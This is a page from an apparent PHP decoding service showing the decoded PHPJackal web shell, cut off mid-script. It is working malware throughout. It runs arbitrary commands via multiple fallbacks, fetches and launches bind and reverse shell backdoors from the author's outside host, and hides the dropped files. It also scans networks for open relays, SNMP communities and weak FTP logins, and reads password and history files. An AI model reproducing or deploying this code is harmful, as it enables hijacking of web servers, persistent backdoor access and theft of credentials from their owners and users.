Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(base64_decode('Iy0tQ29uZmlnLS0jCiRsb2dpbl9wYXNzd29yZD0gJyc7IC8vU2V0IHBhc3N3b3JkC..

Decoded Output download

#--Config--#
$login_password= ''; //Set password
#----------#
error_reporting(E_ALL);
set_time_limit(0);
ini_set("max_execution_time","0");
ini_set("memory_limit","9999M");
set_magic_quotes_runtime(0);
if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS;
if(!isset($_POST))$_POST = &$HTTP_POST_VARS;
if(!isset($_GET))$_GET = &$HTTP_GET_VARS;
if(!isset($_COOKIE))$_COOKIE=$HTTP_COOKIE_VARS;
$_REQUEST = array_merge($_GET, $_POST);
if (get_magic_quotes_gpc()){
foreach ($_REQUEST as $key=>$value)
{
$_REQUEST[$key]=stripslashes($value);
}
}
function hlinK($str=""){
$myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL');
$ret=$_SERVER['PHP_SELF']."?";
$new=explode("&",$str);
foreach ($_GET as $key => $v){
$add=1;
foreach($new as $m){
$el = explode("=", $m);
if ($el[0]==$key)$add=0;
}
if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&";
}
$ret.=$str;
return $ret;
}
if(!empty($login_password)){
if(!empty($_REQUEST['fpassw'])){
if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw']));
@header("Location: ".hlinK());
}
if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password))die("<html><body><table><form method=post><tr><td>Password:</td><td><input type=hidden name=seC value=about><input type=password name=fpassw></td></tr><tr><td></td><td><input type=submit value=login></td></tr></form></table></body></html>");
}
if (!empty($_REQUEST['workingdiR'])) chdir($_REQUEST['workingdiR']);
function checkthisporT($ip,$port,$timeout,$type=0){
if(!$type){
$scan=@fsockopen($ip,$port,$n,$s,$timeout);
if($scan){fclose($scan);return 1;}
}
elseif(function_exists('socket_set_timeout')){
$scan=@fsockopen("udp://".$ip,$port);
if($scan){
socket_set_timeout($scan,$timeout);
@fwrite($scan,"");
$s=time();
fread($scan,1);
if((time()-$s)>=$timeout){fclose($scan);return 1;}
}
}
return 0;
}
if (!function_exists("file_get_contents")){
function file_get_contents($addr){
$a = fopen($addr,"r");
$tmp = fread($a,filesize($a));
fclose($a);
if($a)return $tmp;
}
}
if (!function_exists("file_put_contents")){
function file_put_contents($addr,$con){
$a = fopen($addr,"w");
if(!$a)return 0;
fwrite($a,$con);
fclose($a);
return strlen($con);
}
}
function flusheR(){
flush();@ob_flush();
}
if (!empty($_REQUEST['downloaD'])){
@ob_clean();
$dl=$_REQUEST['downloaD'];
$con=file_get_contents($dl);
header("Content-type: application/octet-stream");
header("Content-disposition: attachment; filename=\"$dl\";");
header("Content-length: ".strlen($con));
echo $con;
exit;
}
if (!empty($_REQUEST['imagE'])){
$img=$_REQUEST['imagE'];
header("Content-type: imagE/gif");
header("Content-length: ".filesize($img));
header("Last-Modified: ".date("r",filemtime($img)));
echo file_get_contents($img);
exit;
}
@header("Cache-Control: no-cache, must-revalidate");
@header("Expires: Mon, 7 Aug 1987 05:00:00 GMT");
function showsizE($size){
if ($size>=1073741824)$size = round(($size/1073741824) ,2)." GB";
elseif ($size>=1048576)$size = round(($size/1048576),2)." MB";
elseif ($size>=1024)$size = round(($size/1024),2)." KB";
else $size .= " B";
return $size;
}
if (substr((strtoupper(php_unamE())),0,3)=="WIN") $windows=1; else $windows=0;
$errorbox = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td><b>Error: </b>";
$et = "</td></tr></table>";
$v="1.5";
$msgbox="<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td align=\"center\">";
$intro="<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\"><tr><td bgcolor=\"#666666\"><b>Script:</b><br>".str_repeat("-=-",25)."<br><b>Name:</b> PHPJackal<br><b>Version:</b> $v<br><br><b>Author:</b><br>".str_repeat("-=-",25)."<br><b>Name:</b> NetJackal<br><b>Country:</b> Iran<br><b>Website:</b> <a href=\"http://netjackal.by.ru\" target=\"_blank\">http://netjackal.by.ru</a><br><b>Email:</b> <a href=\"mailto:[email protected]?subject=PHPJackal\">[email protected]</a><br></font>$et</center>";
$footer="${msgbox}PHPJackal v$v - Powered By <a href=\"http://netjackal.by.ru\" target=\"_blank\">NetJackal</a>$et";
$hcwd="<input type=hidden name=workingdiR value=\"".getcwd()."\">";
$t = "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#333333\">";
$crack="</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\" name=form><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>";
function namE(){
$name='';
srand((double)microtime()*100000);
for ($i=0;$i<=rand(3,10);$i++){
$name.=chr(rand(97,122));
}
return $name;
}
function whereistmP(){
$uploadtmp=ini_get('upload_tmp_dir');
$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
return ".";
}
function shelL($command){
global $windows,$disablefunctions;
$exec = '';$output= '';
$dep[]=array('pipe','r');$dep[]=array('pipe','w');
if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; }
elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("
",$output);$exec= $output;}
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);}
elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
return $exec;
}
function downloadiT($get,$put){
$fo=@strtolower(ini_get('allow_url_fopen'));
if($fo || $fo=='on')$con=file_get_contents($get);
else{
$u=parse_url($get);
$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
$url=fsockopen($host, 80, $en, $es, 12);
fputs($url, "GET $file HTTP/1.0
Accept-Encoding: text
Host: $host
Referer: $host
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)

");
$tmp=$con='';
while($tmp!="
")$tmp=fgets($url);
while(!feof($url))$con.=fgets($url);
}
$mk=file_put_contents($put,$con);
if($mk)return 1;
return 0;
}
function smtplogiN($addr,$user,$pass,$timeout){
$sock=fsockopen($addr,25,$n,$s,$timeout);
if(!$sock)return -1;
fread($sock,1024);
fputs($sock,'ehlo '.namE()."
");
$res=substr(fgets($sock,512),0,1);
if($res!='2')return 0;
fgets($sock,512);fgets($sock,512);fgets($sock,512);
fputs($sock,"AUTH LOGIN
");
$res=substr(fgets($sock,512),0,3);
if($res!='334')return 0;
fputs($sock,base64_encode($user)."
");
$res=substr(fgets($sock,512),0,3);
if($res!='334')return 0;
fputs($sock,base64_encode($pass)."
");
$res=substr(fgets($sock,512),0,3);
if($res!='235')return 0;
return 1;
}
function checksmtP($host,$timeout){
$from=strtolower(namE())."@".strtolower(namE()).".com";
$sock=@fsockopen($host,25,$n,$s,$timeout);
if(!$sock)return -1;
$res=substr(fgets($sock,512),0,3);
if($res!='220')return 0;
fputs($sock,'HELO '.namE()."
");
$res=substr(fgets($sock,512),0,3);
if($res!='250')return 0;
fputs($sock,"MAIL FROM: <$from>
");
$res=substr(fgets($sock,512),0,3);
if($res!='250')return 0;
fputs($sock,"RCPT TO: <[email protected]>
");
$res=substr(fgets($sock,512),0,3);
if($res!='250')return 0;
fputs($sock,"DATA
");
$res=substr(fgets($sock,512),0,3);
if($res!='354')return 0;
fputs($sock,"From: ".namE()." ".namE()." <$from>
Subject: ".namE()."
MIME-Version: 1.0
Content-Type: text/plain;

".namE().namE().namE()."
.
");
$res=substr(fgets($sock,512),0,3);
if($res!='250')return 0;
return 1;
}
function check_urL($url,$method,$search,$timeout){
if(empty($search))$search='200';
$u=parse_url($url);
$method=strtoupper($method);
$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
$data=(!empty($u['query']))?$u['query']:'';
if(!empty($data))$data="?$data";
$sock=@fsockopen($host,80,$en,$es,$timeout);
if($sock){
fputs($sock,"$method $file$data HTTP/1.0
");
fputs($sock,"Host: $host
");
if($method=='GET')fputs($sock,"
");
elseif($method='POST')fputs($sock,"Content-Type: application/x-www-form-urlencoded
Content-length: ".strlen($data)."
Accept-Encoding: text
Connection: close

$data");
else return 0;
if($search=='200')if(substr(fgets($sock),0,3)=="200"){fclose($sock);return 1;}else {fclose($sock);return 0;}
while(!feof($sock)){
$res=trim(fgets($sock));
if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;}
}
fclose($sock);
}
return 0;
}
function get_sw_namE($host,$timeout){
$sock=@fsockopen($host,80,$en,$es,$timeout);
if($sock){
$page=namE().namE();
fputs($sock,"GET /$page HTTP/1.0

");
while(!feof($sock)){
$con=fgets($sock);
if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;}
}
fclose($sock);
return -1;
}return 0;
}
function snmpchecK($ip,$com,$timeout){
$res=0;
$n=chr(0x00);
$packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01). chr(0x00). chr(0x04). chr(strlen($com)). 
$com. chr(0xA0). 
chr(0x19). chr(0x02). chr(0x01). chr(0x01). chr(0x02). chr(0x01). $n.
chr(0x02). chr(0x01). $n. chr(0x30). chr(0x0E). chr(0x30). chr(0x0C).
chr(0x06). chr(0x08). chr(0x2B). chr(0x06). chr(0x01). chr(0x02). chr(0x01).
chr(0x01). chr(0x01). $n. chr(0x05). $n;
$sock=@fsockopen("udp://$ip",161);
socket_set_timeout($sock,$timeout);
@fputs($sock,$packet);
socket_set_timeout($sock,$timeout);
$res=fgets($sock);
fclose($sock);
return $res;
}

$safemode=(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on')?'ON':'OFF';
if($safemode=="ON"){@ini_restore("safe_mode");@ini_restore("open_basedir");}
$disablefunctions = @ini_get('disable_functions');
if (!function_exists("str_repeat")){
function str_repeat($str,$c){
$r="";
for($i=0; $i < $cu; $i++)$r.=$str;
return $r;
}
}

function brshelL(){
global $errorbox, $windows,$et,$hcwd;
$_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0;
$addr='http://netjackal.by.ru/backdoor';
$error="$errorbox Can not make backdoor file, go to writeable folder.$et";
$n=namE();
if(!$windows)$n=".$n";
$d=whereistmP();
$name=$d.DIRECTORY_SEPARATOR.$n;
$perl=(!$windows && shelL('which perl'))?$perl=shelL('which perl'):'perl';
$c=($_REQUEST['C'])?1:0;
if (!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1) ){
$port=(int)$_REQUEST['port'];
if($windows){
if($c){
$name.=".exe";
$bd=downloadiT("$addr/nc.exe",$name);
shelL("attrib +H $name");
if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe");
}else{
$name = $name.".pl";
$bd=downloadiT("$addr/winbind.pl",$name);
shelL("attrib +H $name");
if(!$bd)echo $error;else shelL("perl.exe $name $port");
}
}
else{
if($c){
$bd=downloadiT("$addr/bind.c",$name);
if (!$bd) echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &");
}else{
$bd=downloadiT("$addr/bind.pl",$name);
if (!$bd)echo $error; else shelL("cd $d;$perl $n $port &");
echo "<font color=blue>Backdoor is waiting for you on $port.<br></font>";
}
}
}
elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){
$ip=$_REQUEST['ip'];
$port=(int)$_REQUEST['rport'];
if($windows){
if($c){
$name.='.exe';
$bd=downloadiT("$addr/nc.exe",$name);
shelL("attrib +H $name");
if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe");
}else{
$name = $name.".pl";
$bd=downloadiT("$addr/winrc.pl",$name);
shelL("attrib +H $name");
if (!$bd)echo $error; else shelL("perl.exe $name $ip $port");
}
}
else{
if($c){
$bd=downloadiT("$addr/rc.c",$name);
if(!$bd) echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &");
}else{
$bd=downloadiT("$addr/rc.pl",$name);
if(!$bd)echo $error;else shelL("cd $d;$perl $n $ip $port &");
}
}
echo "<font color=blue>Done!</font>";}
else{echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td width=\"50%\" bgcolor=\"#333333\">Bind shelL:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Port:</td><td bgcolor=\"#666666\"><input type=text name=port value=55501 size=5></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Type:</td><td bgcolor=\"#808080\"><input type=radio style=\"border-width:1px;background-color:#808080;\" value=0 checked name=C>PERL<input type=radio style=\"border-width:1px;background-color:#808080;\" name=C value=1>"; if($windows)echo "EXE"; else echo "C";echo"</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input type=submit class=buttons value=Bind></td></tr></form></table></td><td><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td width=\"40%\" bgcolor=\"#333333\">Reverse shelL:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#808080\">IP:</td><td bgcolor=\"#808080\"><input type=text name=ip value=";echo $_SERVER["REMOTE_ADDR"]; echo " size=17></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Port:</td><td bgcolor=\"#666666\"><input type=text name=rport value=53 size=5></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Type:</td><td bgcolor=\"#808080\"><input type=radio style=\"border-width:1px;background-color:#808080;\" value=0 checked name=C>PERL<input type=radio style=\"border-width:1px;background-color:#808080;\" name=C value=1>"; if($windows)echo "EXE"; else echo "C";echo"</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Connect></td></tr></form></table>$et";}}
function showimagE($img){
echo "<center><img border=0 src=\"".hlinK("imagE=$img&&workingdiR=".getcwd())."\"></center>";}
function editoR($file){
global $errorbox,$et,$hcwd;
if (is_file($file)){
if (!is_readable($file)){echo "$errorbox File is not readable$et<br>";}
if (!is_writeable($file)){echo "$errorbox File is not writeable$et<br>";}
$data = file_get_contents($file);
echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"10%\" bgcolor=\"#808080\"><form method=\"POST\">$hcwd<input type=text value=\"".htmlspecialchars($file)."\" size=75 name=file><input type=submit class=buttons name=Open value=Open></td></tr></form></table><br><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#666666\"><form method=\"POST\"><textarea rows=\"18\" name=\"edited\" cols=\"64\">";
echo htmlspecialchars($data);
echo "</textarea></td></tr><tr><td width=\"10%\" bgcolor=\"#808080\"><input type=text value=\"$file\" size=80 name=file></td></tr><td width=\"40%\" bgcolor=\"#666666\" align=\"right\">";
}
else {echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"10%\" bgcolor=\"#808080\"><form method=\"POST\"><input type=text value=\"".getcwd()."\" size=75 name=file>$hcwd<input type=submit class=buttons name=Open value=Open></td></tr></form></table><br><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#666666\"><form method=\"POST\"><textarea rows=\"18\" name=\"edited\" cols=\"63\"></textarea></td></tr><tr><td width=\"10%\" bgcolor=\"#808080\"><input type=text value=\"".getcwd()."\" size=80 name=file></td></tr><td width=\"40%\" bgcolor=\"#666666\" align=\"right\">";
}
echo "$hcwd<input type=submit class=buttons name=Save value=Save></td></form></tr></table></center>";
}
function webshelL(){
global $windows,$hcwd;
if($windows){
$alias="<option value=\"netstat -an\">Display open ports</option><option value=\"tasklist\">List of processes</option><option value=\"systeminfo\">System information</option><option value=\"ipconfig /all\">IP configuration</option><option value=\"getmac\">Get MAC address</option><option value=\"net start\">Services list</option><option value=\"net view\">Machines in domain</option><option value=\"net user\">Users list</option><option value=\"gpresult\">Group policy</option><option value=\"shutdown -s -f -t 1\">Turn off the server</option>";
}
else{
$alias="<option value=\"netstat -an | grep -i listen\">Display open ports</option><option value=\"last -a -n 250 -i\">Show last 250 logged in users</option><option value=\"which wget curl lynx w3m\">Downloaders</option><option value=\"find / -perm -2 -type d -print\">Find world-writable directories</option><option value=\"find . -perm -2 -type d -print\">Find world-writable directories(in current directory)</option><option value=\"find / -perm -2 -type f -print\">Find world-writable files</option><option value=\"find . -perm -2 -type f -print\">Find world-writable files(in current directory)</option><option value=\"find / -type f -perm 04000 -ls\">Find files with SUID bit set</option><option value=\"find / -type f -perm 02000 -ls\">Find files with SGID bit set</option><option value=\"find / -name .htpasswd -type f\">Find .htpasswd files</option><option value=\"find / -type f -name .bash_history\">Find .bash_history files</option><option value=\"cat /etc/syslog.conf\">View syslog.conf</option><option value=\"cat cat /etc/hosts\">View hosts</option><option value=\"ps auxw\">List of processes</option>";
if(is_dir('/etc/valiases'))$alias.="<option value=\"ls -l /etc/valiases\">List of Cpanel`s domains(valiases)</option>";if(is_dir('/etc/vdomainaliases'))$alias.="<option value=\"ls -l /etc/vdomainaliases\">List Cpanel`s domains(vdomainaliases)</option>";if(file_exists('/var/cpanel/accounting.log'))$alias.="<option value=\"cat /var/cpanel/accounting.log\">Display Cpanel`s log</option>";
if(is_dir('/var/spool/mail/'))$alias.="<option value=\"ls /var/spool/mail/\">Mailboxes list</option>";
}
echo "<center><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"65%\"><form method=\"POST\"><tr><td width=\"20%\"><b>Location:</b><input type=text name=workingdiR size=82 value=\"".getcwd()."\"><input class=buttons type=submit value=Change></td></tr></form></table><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"65%\"><tr><td><b>Web Shell:</b></td></tr><td bgcolor=\"#666666\"><textarea rows=\"22\" cols=\"78\">";
if (!empty($_REQUEST['cmd'])) echo shelL($_REQUEST['cmd']);
echo"</textarea></td></tr><form method=post><tr><td bgcolor=\"#808080\"><input type=text size=91 name=cmd value=\"";if (!empty($_REQUEST['cmd'])) echo htmlspecialchars(($_REQUEST['cmd']));elseif(!$windows) echo "cat /etc/passwd";echo "\">$hcwd<input class=buttons type=submit value=Execute></td></tr></form></td></tr><form method=post><tr><td bgcolor=\"#808080\"><select name=\"cmd\" width=70>$alias</select>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></table></table><center>";
}
function maileR(){
global $msgbox,$et,$hcwd;
$cwd= getcwd();
if (!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){
$to=$_REQUEST['to'];$from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body'];
if (!mail($to,$subject,$body,"From: $from"))break;
echo "$msgbox<b>Mail sent!</b><br>$et";
}
echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\"><td><b>Mailer:</b></td></tr><td width=\"20%\" bgcolor=\"#666666\">SMTP</td><td bgcolor=\"#666666\">".ini_get('SMTP')." (".ini_get('smtp_port').")</td></tr><tr><td bgcolor=\"#808080\">From:</td><td bgcolor=\"#808080\"><input name=from type=text value=\"[email protected]\" size=55>$hcwd</td><tr><td width=\"25%\" bgcolor=\"#666666\">To:</td><td bgcolor=\"#666666\"><input name=to type=text value=\""; if (!empty($_REQUEST['to'])) echo htmlspecialchars($_REQUEST['to']); elseif(!empty($_ENV["SERVER_ADMIN"])) echo $_ENV["SERVER_ADMIN"];else echo "admin@".getenv('HTTP_HOST'); echo "\" size=55></td></tr><tr><td bgcolor=\"#808080\">Subject:</td><td bgcolor=\"#808080\"><input name=subject type=text value=\"YOUR SERVER HAS BEED HACKED :-P\" size=55></td><tr><td bgcolor=\"#666666\">Body:</td><td bgcolor=\"#666666\"><textarea rows=\"18\" cols=\"43\" name=body>Admin, your system has been hacked! if you don`t seCure it, next time i`ll format your box.</textarea></td></tr><tr><td width=\"10%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=\"right\"><input type=submit class=buttons value=Send></form>$et";
}
function scanneR(){
global $hcwd;
if (!empty($_SERVER["SERVER_ADDR"])) $host=$_SERVER["SERVER_ADDR"];else $host ="127.0.0.1";
$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1;
if (($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){
$target=$_REQUEST['target'];$from=(int) $_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu = 0;
echo "<font color=blue>Port scanning started against ".htmlspecialchars($target).":<br>";
$start=time();
for($i=$from;$i<=$to;$i++){
if($tcp){
if (checkthisporT($target,$i,$timeout)){
$nu++;
$ser="";
if(getservbyport($i,"tcp"))$ser="(".getservbyport($i,"tcp").")";
echo "$nu) $i $ser (<a href=\"telnet://$target:$i\">Connect</a>) [TCP]<br>";
}
}
if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser="";if(getservbyport($i,"udp"))$ser="(".getservbyport($i,"udp").")";echo "$nu) $i $ser [UDP]<br>";}
flusheR();
}
$time=time()-$start;
echo "Done! ($time seconds)</font>";
}
elseif (!empty($_REQUEST['securityscanner'])){
echo "<font color=blue>";
$start=time();
$from=$_REQUEST['from'];
$to=(int)$_REQUEST['to'];
$timeout=(int)$_REQUEST['timeout'];
$f = substr($from,strrpos($from,".")+1);
$from = substr($from,0,strrpos($from,"."));
if(!empty($_REQUEST['httpscanner'])){
echo "Loading webserver bug list...";
flusheR();
$buglist=whereistmP().DIRECTORY_SEPARATOR.namE();
$dl=@downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist);
if($dl){$file=file($buglist);echo "Done! scanning started.<br><br>";}else echo "Failed!!! scanning started without webserver security testing...<br><br>";
flusheR();
}else {$fr=htmlspecialchars($from); echo "Scanning $fr.$f-$fr.$to:<br><br>";}
for($i=$f;$i<=$to;$i++){
$output=0;
$ip="$from.$i";
if(!empty($_REQUEST['nslookup'])){
$hn=gethostbyaddr($ip);
if($hn!=$ip)echo "$ip [$hn]<br>";}
flusheR();
if(!empty($_REQUEST['ipscanner'])){
$port=$_REQUEST['port'];
if(strstr($port,","))$p=explode(",",$port);else $p[0]=$port;
$open=$ser="";
foreach($p as $po){
$scan=checkthisporT($ip,$po,$timeout);
if ($scan){
$ser="";
if($ser=getservbyport($po,"tcp"))$ser="($ser)";
$open.=" $po$ser ";
}
}
if($open){echo "$ip) Open ports:$open<br>";$output=1;}
flusheR();
}
if(!empty($_REQUEST['httpbanner'])){
$res=get_sw_namE($ip,$timeout);
if($res){
echo "$ip) Webserver software: ";
if($res==-1)echo "Unknow";
else echo $res;
echo "<br>";
$output=1;
}
flusheR();
}
if(!empty($_REQUEST['httpscanner'])){
if(checkthisporT($ip,80,$timeout) && !empty($file)){
$admin=array('/admin/','/adm/');
$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www');
$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/');
$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/');
foreach ($file as $v){
$vuln=array();
$v=trim($v);
if(!$v || $v{0}=='#')continue;
$v=str_replace('","','^',$v);
$v=str_replace('"','',$v);
$vuln=explode('^',$v);
$page=$cqich=$nukech=$adminch=$userch=$vuln[1];
if(strstr($page,'@CGIDIRS'))
foreach($cgi as $cg){
$cqich=str_replace('@CGIDIRS',$cg,$page);
$url="http://$ip$cqich";
$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
flusheR();
}
elseif(strstr($page,'@ADMINDIRS'))
foreach ($admin as $cg){
$adminch=str_replace('@ADMINDIRS',$cg,$page);
$url="http://$ip$adminch";
$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
flusheR();
}
elseif(strstr($page,'@USERS'))
foreach ($users as $cg){
$userch=str_replace('@USERS',$cg,$page);
$url="http://$ip$userch";
$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
flusheR();
}
elseif(strstr($page,'@NUKE'))
foreach ($nuke as $cg){
$nukech=str_replace('@NUKE',$cg,$page);
$url="http://$ip$nukech";
$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
flusheR();
}
else{
$url="http://$ip$page";
$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
flusheR();
}
}
}
}
if(!empty($_REQUEST['smtprelay'])){
if(checkthisporT($ip,25,$timeout)){
$res='';
$res=checksmtP($ip,$timeout);
if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;}flusheR();
}
}
if(!empty($_REQUEST['snmpscanner'])){
if(checkthisporT($ip,161,$timeout,1)){
$com=$_REQUEST['com'];
$coms=$res="";
if(strstr($com,","))$c=explode(",",$com);else $c[0]=$com;
foreach ($c as $v){
$ret=snmpchecK($ip,$v,$timeout);
if($ret)$coms .=" $v ";
}
if ($coms!=""){echo "$ip) SNMP FOUND: $coms<br>";$output=1;}
flusheR();
}
}
if(!empty($_REQUEST['ftpscanner'])){
if(checkthisporT($ip,21,$timeout)){
$usps=explode(',',$_REQUEST['userpass']);
foreach ($usps as $v){
$user=substr($v,0,strpos($v,':'));
$pass=substr($v,strpos($v,':')+1);
if($pass=='[BLANK]')$pass='';
$ftp=@ftp_connect($ip,21,$timeout);
if ($ftp){
if(@ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) <a href=\"ftp://$ip\" target=\"_blank\">$ip</a> System type: ".ftp_systype($ftp)."<br>";}
}
flusheR();
}
}
}
if($output)echo "<hr size=1 noshade>";
flusheR();
}
$time=time()-$start;
echo "Done! ($time seconds)</font>";
if(!empty($buglist))unlink($buglist);
}
else{
$chbox=(extension_loaded('sockets'))?"<input type=checkbox name=tcp value=1 checked>TCP<input type=checkbox name=udp value=1 checked>UDP":"<input type=hidden name=tcp value=1>";
